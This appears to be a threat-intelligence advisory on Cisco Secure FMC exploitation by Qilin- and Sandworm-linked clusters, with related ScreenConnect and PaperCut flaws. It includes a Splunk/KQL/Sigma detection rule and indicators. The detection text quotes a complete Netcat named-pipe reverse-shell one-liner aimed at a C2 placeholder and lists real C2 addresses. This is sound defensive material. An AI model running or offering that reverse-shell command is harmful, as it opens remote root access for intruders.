# Cisco Secure FMC Exploitation (CVE-2026-20079, CVE-2026-20316) by Qilin Affiliate UAT-11988 and Sandworm-Linked UAT-11823, with ScreenConnect (CVE-2026-84869) and PaperCut (CVE-2026-81578/82078) Management-Layer Exploitation

> Cisco Talos reported three clusters exploiting two patched Cisco Secure Firewall Management Center flaws: CVE-2026-20079 (CVSS 10.0 authentication bypass) and CVE-2026-20316 (CVSS 5.3 static credentials). One cluster, UAT-11988, is assessed with high confidence as a Qilin affiliate and deployed Qilin ransomware after pivoting through the FMC. Halcyon frames this with other actively exploited management-layer flaws (ConnectWise ScreenConnect, PaperCut NG/MF) as a ransomware-enabling trend.

- **Published:** 2026-11-12T02:32:32Z
- **Last reviewed:** 2026-11-12T02:32:32Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-5814
- **Card image:** https://intel.threadlinqs.com/og/threat/TL-2026-5814.png
- **ID:** TL-2026-5814
- **Severity:** CRITICAL (CVSS 10)
- **Category:** RANSOMWARE
- **Status:** ACTIVE
- **Actor:** Qilin
- **Detections:** 9 (1 shown free below) · **IOCs:** 21 (3 shown free below)
- **CVEs:** CVE-2026-20079, CVE-2026-20316, CVE-2026-84869, CVE-2026-81578, CVE-2026-82078

## Description

Halcyon (24 Sep 2026) described five actively exploited flaws in one week that all sit in the management layer of enterprise systems: two Cisco Secure Firewall Management Center (FMC) flaws, a ConnectWise ScreenConnect flaw added to CISA KEV, and exploitation of widely deployed print-management software used in education. The Halcyon post gives no CVE IDs; they were resolved from Talos, Cisco, CISA KEV and press coverage.

Cisco Talos (blog dated 9 Sep 2026) reports three clusters abusing CVE-2026-20079 and CVE-2026-20316. CVE-2026-20079 (CVSS 10.0) is an unauthenticated authentication bypass in the FMC web interface: a boot-time process creates a partial authentication session in the sfsnort.sessions database that persists if no legitimate user authenticates after boot, which a remote attacker can turn into working credentials and then invoke CGI scripts to run commands as root. It was fixed and disclosed in early March 2026, and added to CISA KEV on 9 Sep 2026. CVE-2026-20316 (CVSS 5.3) is a hard-coded credential for a low-privileged account; it was disclosed and added to KEV on 29 Jul 2026, and can be chained with other FMC weaknesses for privilege escalation.

UAT-11988 (high confidence Qilin affiliate) logged in using the CVE-2026-20316 static credentials, abused built-in FMC tooling (for example package_info.pl and OmniQuery.pl) for reconnaissance, collected hostnames, IPs, Active Directory service-account credentials, MySQL credentials and domain information, staged data in web-accessible files retrieved via HTTP GET, established a Python SOCKS5 proxy (socks5.py) and a reverse SSH tunnel forwarding LDAP, LDAPS, Kerberos, SMB, NetBIOS and WinRM, moved laterally with Impacket and Invoke-TheHash, deployed custom EDR/AV killers and ran Qilin ransomware on selected systems. Halcyon notes Qilin posted the most leak-site victims in Q2 2026.

UAT-11823 (high confidence overlap with Sandworm) exploited both CVEs, modified /var/tmp/license.tmp (a Makeself package) so that Cisco's package_info.pl executed a Netcat reverse shell as root, harvested configuration of all managed firewalls, and deployed a Cyclops Blink variant with init-script persistence, credential theft and packet sniffing. UAT-12197 exploited CVE-2026-20079 to drop a JSP web shell (home.jsp) and cmd.jar into the Tomcat webroot of Cisco FMC/Security Manager and queried internal databases for stored credentials.

Other management-layer items cited: ConnectWise ScreenConnect CVE-2026-84869 (CVSS 9.9; file transfer/execution in an active session without host authorization; fixed in 26.6.5; KEV 11 Sep 2026) and PaperCut NG/MF CVE-2026-81578 (missing authentication) plus CVE-2026-82078 (unsafe reflection), chained for pre-auth RCE and added to KEV 31 Aug 2026. Halcyon attributes ScreenConnect abuse to Black Basta, Medusa and Scattered Spider and reports legitimate remote-management tools in 78% of ransomware cases in its Q1 2026 report. Note: Halcyon does not name PaperCut; the link to the unnamed education print-management software is a reasonable inference from KEV timing and the education footprint, not a statement by the source.

## MITRE ATT&CK

- T1190 Exploit Public-Facing Application
- T1078 Valid Accounts
- T1059.004 Unix Shell
- T1505.003 Server Software Component: Web Shell
- T1037.004 Boot or Logon Initialization Scripts: RC Scripts
- T1685 Disable or Modify Tools
- T1552 Unsecured Credentials
- T1040 Network Sniffing
- T1087.002 Account Discovery: Domain Account
- T1021.002 Remote Services: SMB/Windows Admin Shares
- T1550.002 Use Alternate Authentication Material: Pass the Hash
- T1074.001 Data Staged: Local Data Staging
- T1572 Protocol Tunneling
- T1090 Proxy
- T1219 Remote Access Tools

## Free detection (Splunk SPL, Microsoft KQL, Sigma)

**Cisco FMC package_info.pl Root Execution of license.tmp and Netcat FIFO Reverse Shell (CVE-2026-20079 / CVE-2026-20316)** (`TL-2026-5814-SPL-001`)

Detects the UAT-11823 (Sandworm-linked) post-exploitation chain on Cisco Secure Firewall Management Center (TL-2026-5814): the built-in /usr/local/sf/bin/package_info.pl utility executing the tampered Makeself package /var/tmp/license.tmp with --lsm (root code execution), the Netcat named-pipe reverse shell (rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc C2-IP 3090 >/tmp/f), and any command line referencing the Talos-reported C2 addresses 208.123.119.215, 89.34.96.56 and 91.214.78.118. Requires process-execution telemetry (auditd EXECVE or syslog command logging) from the FMC or other Linux management appliances.

- **Languages:** Splunk SPL, Microsoft KQL, Sigma
- **ATT&CK:** T1190, T1059.004
- **Data sources:** linux_auditd, syslog, index=linux sourcetype=linux:audit
- **Severity:** critical
- **Confidence:** high

### Splunk SPL

```spl
index=linux (sourcetype=linux:audit OR sourcetype=syslog) earliest=-24h
| regex _raw="(?i)(package_info\.pl.{0,200}license\.tmp|license\.tmp.{0,200}--lsm|mkfifo\s+/tmp/f.{0,200}\bnc\b|/bin/sh\s+-i.{0,40}\|\s*nc\s+\S+\s+\d+|208\.123\.119\.215|89\.34\.96\.56|91\.214\.78\.118)"
| eval behaviour=case(match(_raw,"(?i)package_info\.pl|license\.tmp"),"package_info.pl executing /var/tmp/license.tmp as root (CVE-2026-20079/20316)", match(_raw,"(?i)mkfifo|/bin/sh\s+-i"),"Netcat FIFO reverse shell (T1059.004)", true(),"Command referencing known UAT-11823 C2 address")
| stats count min(_time) as first_seen max(_time) as last_seen values(behaviour) as behaviour values(user) as user by host
| convert ctime(first_seen) ctime(last_seen)
```

### Microsoft KQL

```kql
Syslog
| where TimeGenerated > ago(24h)
| where (SyslogMessage has "package_info.pl" and (SyslogMessage has "license.tmp" or SyslogMessage has "--lsm"))
    or (SyslogMessage has "mkfifo" and SyslogMessage has "/tmp/f" and (SyslogMessage has " nc " or SyslogMessage has "/bin/sh -i"))
    or SyslogMessage has_any ("208.123.119.215", "89.34.96.56", "91.214.78.118")
| extend Behaviour = case(
    SyslogMessage has "package_info.pl", "package_info.pl executing license.tmp as root (CVE-2026-20079/20316)",
    SyslogMessage has "mkfifo", "Netcat FIFO reverse shell",
    "Command referencing known UAT-11823 C2 address")
| project TimeGenerated, Computer, HostIP, ProcessName, Facility, SyslogMessage, Behaviour
```

### Sigma

```yaml
title: Cisco FMC package_info.pl Executing license.tmp or Netcat FIFO Reverse Shell
id: 3f2a6c1e-8b4d-4e57-9a10-5c7d2e9b1a01
status: experimental
description: Detects the UAT-11823 chain on Cisco Secure Firewall Management Center where package_info.pl runs the modified /var/tmp/license.tmp Makeself package as root, or a Netcat named-pipe reverse shell is launched (CVE-2026-20079, CVE-2026-20316).
references:
  - https://blog.talosintelligence.com/fmc-ongoing-exploitation/
  - https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2
author: Threadlinqs Team
date: 2026-11-12
tags:
  - attack.initial-access
  - attack.t1190
  - attack.execution
  - attack.t1059.004
  - cve.2026-20079
  - cve.2026-20316
logsource:
  category: process_creation
  product: linux
detection:
  selection_package_info:
    CommandLine|contains|all:
      - 'package_info.pl'
      - 'license.tmp'
  selection_netcat_fifo:
    CommandLine|contains|all:
      - 'mkfifo /tmp/f'
      - '/bin/sh -i'
      - 'nc '
  selection_c2:
    CommandLine|contains:
      - '208.123.119.215'
      - '89.34.96.56'
      - '91.214.78.118'
  condition: 1 of selection_*
falsepositives:
  - Legitimate Cisco license or package maintenance run by an administrator with package_info.pl
  - Administrators using mkfifo and nc for ad-hoc troubleshooting
level: critical
```

**Known false positives:**

- Legitimate Cisco package or license maintenance executed by an administrator via package_info.pl during a planned upgrade window
- Administrators using mkfifo and nc for ad-hoc troubleshooting on the appliance shell

**Tuning notes:** Requires auditd EXECVE or command-line syslog from the FMC; adjust index and sourcetype to your environment. Exclude change-window service accounts, and review any package_info.pl invocation whose argument is not a Cisco-signed upgrade bundle. Any hit on the C2 addresses should be treated as confirmed compromise.

### 8 more detection rules (Splunk SPL, Microsoft KQL, Sigma), unlock with TL Creds

- Network Contact with Talos-Reported FMC Exploitation and C2 Infrastructure (UAT-11823 / UAT-11988) (locked: unlock with TL Creds)
- JSP Web Shell [indicator] / [indicator] Dropped in Tomcat Webroot and Data Staged in Web-Accessible Files (UAT-12197) (locked: unlock with TL Creds)
- Impacket smbexec/wmiexec and Invoke-TheHash Lateral Movement (UAT-11988 Pre-Ransomware) (locked: unlock with TL Creds)
- ConnectWise ScreenConnect Client Service Spawning Shell or LOLBin (CVE-2026-84869 Abuse) (locked: unlock with TL Creds)
- Security Tool Tampering Before Ransomware Deployment (EDR/AV Killer Behaviour, UAT-11988) (locked: unlock with TL Creds)
- Cyclops Blink Variant Init-Script Persistence and Promiscuous-Mode Sniffing on Linux Firewalls (UAT-11823) (locked: unlock with TL Creds)
- Cisco FMC OmniQuery.pl Credential Query and [indicator] Command Executor (UAT-12197) (locked: unlock with TL Creds)
- Reverse SSH Tunnel to AD Ports and [indicator] Python SOCKS5 Proxy from FMC (UAT-11988) (locked: unlock with TL Creds)

Sign up free to unlock the detection rules: https://threadlinqs.com/?modal=signup

## Sample indicators (3 of 21)

Defanged, TLP:CLEAR.

- IP address: `89.34.96[.]56`
- File hash: `b037f45e02a289325a1a5eb0d4db6a9fce9954fd0fdfd07162cb4eb2acbef77d`
- IP address: `208.123.119[.]215`

Full set of 21 indicators unlocks with TL Creds: https://threadlinqs.com/tl-creds

## Sources

- [One Week, Five Flaws, Same Weak Point: The Management Layer (Halcyon)](https://www.halcyon.ai/blog/ransomware-management-layer-vulnerabilities)
- [Active exploitation of Cisco Secure Firewall Management Center vulnerabilities (Cisco Talos)](https://blog.talosintelligence.com/fmc-ongoing-exploitation/)
- [Talos IOCs: ongoing-fmc-exploitation](https://github.com/Cisco-Talos/IOCs/tree/main/2026/09)
- [Cisco Security Advisory: FMC Authentication Bypass (CVE-2026-20079)](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-onprem-fmc-authbypass-5JPp45V2)
- [Cisco Security Advisory: FMC Static Credentials (CVE-2026-20316)](https://www.cisco.com/c/en/us/support/docs/csa/cisco-sa-fmc-static-cred-BET3Cjh.html)
- [Cisco hardening notice](https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-notice-jfxK98ZP)
- [Cisco FMC bugs exploited by nation-state and ransomware actors (Help Net Security)](https://helpnetsecurity.com/2026/09/10/cisco-fmc-exploited-cve-2026-20079-cve-2026-20316)
- [Cisco FMC flaws exploited by ransomware gang, state-sponsored hackers (BleepingComputer)](https://bleepingcomputer.com/news/security/cisco-fmc-flaws-exploited-by-ransomware-gang-state-sponsored-hackers)
- [Cisco FMC Auth Bypass Exploited to Deploy Qilin Ransomware (Cloud Security Alliance)](https://labs.cloudsecurityalliance.org/research/csa-research-note-cisco-fmc-qilin-ransomware-20260918-csa-st/)
- [CISA adds GitLab, JFrog Artifactory and ConnectWise ScreenConnect flaws to KEV (Security Affairs)](https://securityaffairs.com/199032/security/u-s-cisa-adds-gitlab-jfrog-artifactory-and-connectwise-screenconnect-flaws-to-its-known-exploited-vulnerabilities-catalog.html)
- [PaperCut NG/MF vulnerabilities exploited (Cybersecurity News)](https://cybersecuritynews.com/papercut-ng-mf-vulnerabilities-exploited/)
- [Halcyon: ScreenConnect in Ransomware Operations](https://www.halcyon.ai/ioc-ttp-index/screenconnect-in-ransomware-operations)
- [Halcyon: Qilin threat group profile](https://www.halcyon.ai/threat-group/qilin)

## Full data

The other 8 detection rules (Splunk SPL / Microsoft KQL / Sigma) unlock with TL Creds; a free account includes daily creds: https://threadlinqs.com/?modal=signup
Indicator values unlock with TL Creds, at a lower price on Red and Purple; AI agents can query rules and IOCs through the Threadlinqs MCP server (Purple): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-5814